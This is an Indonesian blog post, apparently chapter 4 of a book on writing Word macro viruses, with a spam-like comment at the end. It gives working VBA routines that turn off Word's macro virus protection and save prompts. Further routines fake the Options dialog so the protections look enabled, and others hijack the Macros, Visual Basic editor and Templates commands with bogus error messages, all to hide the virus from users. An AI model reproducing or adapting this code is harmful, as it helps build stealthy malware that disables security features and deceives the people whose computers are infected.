Sabtu, 08 Mei 2010

BDVM - Bab 4 Benteng pertahanan

Bab 4
Benteng pertahanan


 Mengenal teori dasar umum dan khusus sudah kita peroleh.  Pada bagian ini kita belajar untuk “bertahan hidup”  caranya?  Tentu saja kita harus belajar “jurus” membentengi diri kita sendiri, berikut bagaimana menembus benteng pertahanan juga akan kita cermati.
Suatu program virus dapat dipastikan mempunyai suatu modul program untuk menembus pengamanan suatu program.  Juga, ia akan mempunyai suatu modul program untuk mempertahankan eksistensinya.  Kita akan menelaah, pertama-tama, cara menembus benteng pertahanan.
Tidaklah seorang pendekar pantas disebut sebagai seorang pendekar sejati, jika ia tidak mempunyai ilmu untuk mempertahankan diri.   Berbagai jenis ilmu tentu akan ia pelajari untuk tetap bertahan hidup.  Misalnya ia akan belajar ilmu kebal, untuk membentengi dirinya sehingga tahan bacok senjata tajam atau senjata api (biar nyaingin superman … he.. he.. :))  Berbagai level ilmu benteng kekebalan pun akan dicobanya, mulai dari jenis “hewes-hewes kejawen” – lembu sekilan, sampai model wiridan pesantren – Hizib Latief.  Kalau perlu ia akan pergi ke kuil shaolin untuk sekedar mencoba dan melengkapi ilmu kebalnya.
Selain belajar ilmu benteng ia pun akan belajar bagaimana menembus benteng pertahanan lawan.  Tentu saja, cara halus dan kasar akan diujicobakan.  Ia akan belajar ilmu yang “neko-neko”.  Misalnya ilmu pelet. He.. he… he… :),  sehingga  lawan akan bingung dan gampang menembus pertahanannya.    Berbagai ilmu pelet ini akan ia pelajari untuk pendekatan yang halus. Mulai model jaran goyang, semar mesem sampai jurus mahabah yusuf.   Lho… lho… ini buku komputer atau klenik ya..? he… he… :)
Demikianlah! Untuk menuntaskan obsesi kita sebagai pendekar komputer, yang sibuk belajar ilmu virus, maka pada bagian ini kita akan membuat dan menelaah beberapa sub prosedur  untuk keperluan ilmu benteng pertahanan.

1. Menembus benteng pertahanan

Program Word dirancang dengan baik, sehingga mempunyai beberapa benteng pertahanan yang dapat mendeteksi keberadaan suatu program macro ilegal (virus).  Ia mempunyai suatu pilihan “virus protection” pada menu options-nya,.  Kita akan mematikan fungsi ini.  Selain itu ada beberapa pilihan  yang akan kita matikan, sehingga menambah pengamanan kinerja virus.  Coba… perhatikan sub prosedur berikut yang akan kita pakai untuk mematikan benteng pertahanan Word.  Sub prosedur pada contoh ini kita beri nama BOBOL.

Sub Bobol()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Keterangan baris programnya adalah sebagai berikut :

•    Sub Bobol()
Perintah ini menandakan dimulainya suatu sub prosedur dengan nama  Bobol.   Sub prosedur ini kita pakai untuk membongkar sistem pertahanan word.

•    Options.SaveNormalPrompt = False
Pada kotak dialog Options milik Word terdapat suatu pilihan yang bernama Save Normal Prompt.  Kegunaan pilihan ini adalah memberitahu pemakai apakah proses penyimpanan dokumen diteruskan atau tidak.  Kondisi tersebut muncul bila pilihan tersebut kita hidupkan (alias nilai valuenya = True).
Hal ini akan mengganggu kerja virus yang kita buat.  Misalnya, virus akan menyimpan ulang dokumen, pada saat suatu dokumen diaktifkan.   Jika tiba-tiba muncul kotak dialog konfirmasi penyimpanan, tentu saja akan mengundang kecurigaan pemakai.  Benar bukan?  Pemakai akan curiga : baru buka file, belum diapa-apakan kok sudah minta konfirmasi save?  Oleh karena itu kita matikan fasilitas ini dengan mengisikan nilanya sama dengan False.

•    Options.VirusProtection = False
Perintah ini dipakai untuk mematikan fasilitas deteksi virus macro yang disediakan oleh program Microsoft Word.  Jika tidak kita non-aktifkan maka keberadaan virus yang kita buat akan terdeteksi.  Word akan mengeluarkan kotak peringatan yang menyatakan bahwa file yang akan dibuka berisi program macro.  Dan pemakai diberi kesempatan untuk menjalankan atau mematikan macro. Atau tidak membuka file tesebut sama sekali.  Jelas proteksi ini akan menghambat penyebaran virus kita. Kita isikan nilai False agar pilihan ini tidak aktif.

•    Options.SavePropertiesPrompt = False
Pilihan konfirmasi simpan Properties pun sebaiknya kita non aktifkan.  Sehingga penyimpanan ulang ke global template berjalan tanpa diketahui oleh pemakai.

•    End Sub
Perintah ini merupakan pasangan dari perintah SUB Bobol.  Menandakan berakhirnya sub prosedur tersebut.

Nah! Kita telah mempunyai suatu alat untuk mematikan benteng pertahanan Word, untuk menambah pengamanan agar virus makin tersembunyi kita perlu membuat tambahan prosedur.
Pemakai Word yang “lumayan” umumnya akan memeriksa pilihan Tools. Ia akan memeriksa pada kotak dialog Options untuk memastikan bahwa pilihan Virus protection sudah diaktifkan ataukah belum.  Juga ia akan memeriksa pilihan penyimpanan,  jika kita menjalankan sub prosedur bobol di atas, tentu saja pilihan-pilihan tersebut akan terlihat tidak diaktifkan.  Maka pemakai akan curiga dan menghidupkan kembali pilihan tersebut.  Ini berbahaya bagi kelangsungan hidup virus kita.  Ia akan terdeteksi.  Untuk mengatasi masalah ini, maka kita perlu membuat suatu sub prosedur baru untuk menipu pemakai.  (lihat bahasan jebakan ToolsOptions).

Pada bagian ini kita sebetulnya dapat menambahkan keamanan eksekusi program virus dengan menambahkan perintah  Application.EnabledCancelKey= wdCancelEnabled.  Dapat Anda tambahkan bila mau.  Sehingga kemampuan Break akan dilumpuhkan.  Listingnya jadi :

Sub Bobol()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
    Application.EnabledCancelKey=WdCancelEnabled   
End Sub


Bagaimana mengubah kebiasaan perintah Word?

Kebanyakan perintah-perintah yang ada pada Word dapat kita ubah sesuai kebutuhan dengan memakai macro.   Untuk menampilkan daftar perintah-perintah standar (Built-in) Word, kita dapat melihatnya dengan kotak dialog Macro.  Setiap menu perintah yang ada akan terlihat.  Misalnya prosedur untuk menyimpan file berada pada sub prosedur FileSave, perintah untuk membuka file berada pada sub prosedur FileOpen, dan sebagainya.
Kita dapat merubah perintah-perintah tersebut dengan memberi nama macro yang kita buat sama dengan nama sub prosedur yang mengendalikan perintah-perintah standar Word.  Sebagai contoh jika kita membuat suatu prosedur penyimpanan sesuai dengan keinginan.  Kita buat suatu macro dan kita beri nama sub prosedur tersebut dengan nama FileSave.  Maka setiap kali memakai Word dan memilih pilihan Save dari menu File, atau memakai/klik tombol Save pada toolbar, atau melakukan shortcut penyimpanan (ctrl S), maka prosedur penyimpanan buatan kitalah yang akan dijalankan.

Jebakan Tool options

Memang dengan sub prosedur Bobol kita dapat mematikan sebagian fasilitas pengamanan Word.  Namun hal itu masih menimbulkan jejak bahwa telah terjadi suatu manipulasi tertentu.  Pada pemakai yang lihai akan dapat dengan cepat menyadarinya.  Sub prosedur berikut ini dipakai untuk menyempurnakan sub prosedur Bobol.   Sub prosedur ini dipakai untuk menipu pemakai dengan cara menampilkan kotak dialog Options dengan pilihan-pilihan pengamanan sudah aktif terpilih.  Namun pada saat keluar dari kotak dialog tersebut, pilihan-pilihan tersebut akan dinon aktifkan lagi.  Listing programnya adalah sebagai berikut.

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bobol
End Sub

Rincian dari baris perintah program adalah :

•    Sub ToolsOptions()
Kita buat suatu sub prosedur dengan nama  ToolsOptions.  Nama ini termasuk nama macro built-in Word.  Kegunaan macro ini untuk mengaktifkan kotak dialog Options.  

•    Options.SaveNormalPrompt = True
Perintah ini dipakai untuk menampilkan pilihan SaveNormalPrompt agar terlihat aktif dipilih.  Ditandai dengan muncul tanda centang pada kotak pilihan di depannya.  Jika ingin dimatikan maka gantilah pilihan True dengan False.

•    Options.SavePropertiesPrompt = True
Perintah ini dipakai untuk menampilkan pilihan SavePropertiesPrompt agar terlihat aktif dipilih.  Ditandai dengan muncul tanda centang pada kotak pilihan di depannya.

•    Options.VirusProtection = True
Perintah ini dipakai untuk menampilkan pilihan VirusProtection agar terlihat aktif dipilih.  Ditandai dengan muncul tanda centang pada kotak pilihan di depannya.

•    Dialogs(wdDialogToolsOptions).Show
Perintah ini digunakan untuk menampilkan kotak dialog Options.  Karena sebelumnya sudah kita atur dengan isian True, maka akan terlihat pilihan-pilihan tersebut dicentang.  Dengan trik ini, maka pada saat pemakai memeriksanya akan percaya bahwa pilihan tersebut telah aktif.  Padahal…..

•    Bobol
Ingat sub prosedur ini? Tentu saja, sub prosedur ini dipakai untuk menembus benteng pertahanan Word.  Memang pada saat ditampilkan dengan perintah di atas, terlihat pilihan-pilihan tersebut telah diaktifkan.  Namun begitu kotak dialog ditutup pemakai, maka perintah pembobolan ini akan dijalankan.  Jadi sama saja bohong! Artinya pilihan tersebut menjadi tidak aktif lagi.  Namanya juga virus… harus nakal dong … he.. he… :)

•    End Sub
Menandakan berakhirnya sub prosedur  No comment!

Sub prosedur di atas memang sederhana,  namun cukup efektif untuk mengelabui pemakai.  Saya yakin, Anda dapat mengembangkannya dengan lebih baik sehingga menjadi lebih sempurna.  

2. Mematikan fasilitas macro

Setelah berhasil membuat alat untuk menembus proteksi Word,  langkah untuk mengamankan virus dari deteksi adalah mematikan fasilitas macro yang ada pada program Word.  Dengan tidak aktifnya atau tidak dapat dipakainya fasilitas macro maka listing macro yang kita buat tidak akan dapat dibaca.  Jadi akan menjamin kelangsungan hidup virus.  Kita akan membuat macro untuk mematikan fasilitas macro.
Pertama kali kita harus tahu nama sub prosedur built-in nya, ternyata namanya adalah Toolsmacro.  Oleh karena itu macro yang kita buat harus kita beri nama tersebut.  Sehingga saat pemakai mengaktifkan macro, yang dijalankan adalah program macro yang kita buat.  Kita isi sembarang perintah, sesuai dengan keinginan.  Sebaiknya isikanlah dengan suatu tindakan yang tidak mencolok atau mencurigakan.   Sehingga pemakai Word tidak akan cepat curiga.  Pada contoh ini, kita hanya akan menampilkan kotak pesan saja.  Isi pesan pun sebaiknya yang wajar-wajar saja.  Sehingga terlihat yang tampil seolah-olah pesan dari program Word.  He.. he.. :)  nakal ya?  Memang! Namanya juga program virus.  Sekarang perhatikan listing sub prosedur berikut.

Sub ToolsMacro()
    H = MsgBox("File not found! Check setup… .", vbExclamation + vbOKOnly)
End Sub


•    Sub ToolsMacro()
Kita buat suatu sub prosedur baru dengan nama ToolsMacro.  Berilah nama sub prosedur baru sama persis seperti  itu.  Karena nama tersebut merupakan nama salah satu prosedur macro built-in milik Word.

•    H = MsgBox("File not Found! Check setup….", vbExclamation + vbOKOnly)
Bagian ini dipakai untuk menampilkan suatu kotak pesan.  Kotak pesan ini akan berisi tanda peringatan, dan kalimat : File not Found! Check setup….(file tidak diketemukan. Periksalah dengan setup).  Wah… sok kebarat-baratan, pesan saja kok pakai bahasa inggris.  Bukan itu masalahnya! Masalahnya adalah soal penipuan. Jika yang kita pasangkan pesan dengan bahasa selain inggris, maka akan mengundang kecurigaan pemakai.  Misalnya kita memakai bahasa Indonesia, atau mungkin Jawa.  Tentu akan membuat pemakai segera menyadari bahawa telah terjadi sesuatu yang aneh dengan program Word.  Jika ia memeriksa dengan teliti ada kemungkinan program virus yang kita susupkan akan terkena cekal. 
Pada pesan ini selain menampilkan tulisan juga akan menampilkan tanda gambar peringatan dan satu tombol Ok. Pesan ini dipakai untuk menipu pemakai, seolah-olah terjadi kesalahan program.  Biar bingung kok … he… he…:)

•    End Sub
Baris ini menunjukkan berakhirnya suatu sub prosedur. Pada kasus ini adalah sub prosedur ToolsMacro.

Meski macro yang kita buat ini sederhana, namun benar-benar akan melumpuhkan fasilitas macro Word,  karena ia tidak akan menjalankan apapun selain menampilkan pesan saja. 

3. Mematikan pemakaian editor Visual Basic

Pelumpuhan akses macro untuk mengamankan program virus, masih belum cukup sempurna.  Kita juga harus mematikan akses ke program editor Visual Basic yang ada pada program Word.  
Pada bagian ini kita akan mencoba mematikan akses fasilitas Visual Basic editor.  Dengan tidak dapat diaksesnya editor visual basic, akan melindungi listing program virus yang kita buat dari proses editing oleh pemakai.   Perintahnya mirip dengan cara pelumpuhan fasilitas macro.  Listingnya adalah sebagai berikut.

Sub ViewVbCode()
H = MsgBox("A required DLL file is missing. .", vbExclamation + vbOKOnly)
End Sub

Coba sampeyan (wah…gaya bahasanya ketularan cak emha ainun najib!) bandingkan dengan listing  pematian fasilitas macro.  Mirip bukan?

Keterangan baris program-nya adalah :

•    Sub ViewVbCode()
Merupakan tanda dimulainya suatu sub prosedur yang bernama ViewVbCode.  Nama tersebut juga merupakan nama macro built-in milik Word.  Jadi kita tuliskan seperti apa adanya.

•    H = MsgBox("A required DLL file is missing. .", vbExclamation + vbOKOnly)
Perintah ini dipakai untuk menampilkan kotak pesan yang seolah-olah menunjukkan terjadi suatu pesan kesalahan, bahwa file DLL tertentu tidak ada atau rusak.  Padahal programnya sebetulnya sehat-sehat saja.  He.. he…. :). 

•    End Sub
Merupakan tanda berakhirnya sub prosedur ViewVbCode. 

4. Mematikan akses ke template

Sudah amankah virus kita? Jawabnya : belum! Kita masih akan mengamankan file template yang merupakan modal utama penginfeksian virus.  Dengan mematikannya fasilitas pengedit template ini, maka pemakai tidak akan dapat mengotak-atik file template.  Listingnya adalah sebagai berikut.

Sub FileTemplates()
H = MsgBox("path not found! Check setup… .", vbExclamation + vbOKOnly)
End Sub

•    Sub FileTemplates()
Kita buat suatu sub prosedur yang bernama FileTemplates. Nama tersebut juga merupakan salah satu nama built-in milik Word.  Jadi tulis apa adanya.

•    H = MsgBox("path not found! Check setup… .", vbExclamation + vbOKOnly)
Perintah ini dipakai untuk menjebak pemakai, agar terkesan bahwa terjadi kesalahan path saat menjalankan operasi manipulasi template.  Tentu saja, Anda boleh berinovasi meciptakan pesan-pesan yang anda anggap pas. As you wish, punk…!  :)

•    End Sub
Baris ini menunjukkan berakhirnya sub prosedur FileTemplates

5. Memasangkan password saat akses macro

Pengamanan lanjutan yang kita terapkan adalah memasangkan password pada listing macro yang telah kita buat.   Dengan demikian listing program virus akan terlindungi.  Ya… sekedar berjaga-jaga dan menambah pengamanan sistem virus yang kita buat.
Listing programnya adalah sebagai berikut.

Sub OpenMyMacro()
    If InputBox("Enter password", "MegatRuh - The Hacker War") = "why me?" Then Application.ShowVisualBasicEditor = True
End Sub

Jika kita lihat satu demi satu jajaran baris program adalah sebagai berikut.

•    Sub OpenMyMacro()
Kita buat suatu sub prosedur baru dengan nama OpenMyMacro.  Sub prosedur ini dipakai untuk meminta pemakai untuk memasukkan password untuk dapat menjalankan macro.

•    If InputBox("Enter password", "MegatRuh - The Hacker War") = "why me?" Then Application.ShowVisualBasicEditor = True
Perintah ini akan menampilkan kotak dialog yang akan meminta pemakai untuk memasukkan kata sandi.  Jika kata sandi yang dimasukkan adalah Why me? Maka macro akan dijalankan.

•    End Sub
Menandai berakhirnya sub prosedur OpenMyMacro.

Pertahanan terbaik adalah menyerang ! Itu kata sebagian orang pinter.  Tapi karena saya bukan orang pinter, pertahanan terbaik adalah menghindar  dan menunggu saat yang tepat untuk menyerang…. He… he.. :)
Teknik menghindar dan menyerang dalam kegelapan dan kebingungan adalah salah satu ciri khas program virus.  Jadi berhati-hatilah!
Sampai disinilah ngomong-ngomong, kita tentang benteng  pertahanan.  Bagaimana?  Sudah mulai pusing, ya?  Seharusnya tidak, karena program yang kita buat ini, masih amat sederhana.

Download Bab ini dalam versi ebook PDF

1 komentar:

  1. Info yang bagus !

    Barangkali informasi mengenai "pencurian mayat bayi" berikut, juga berguna bagi rekan rekan yang memerlukannya. Klik > Pencurian Mayat Bayi ?

    BalasHapus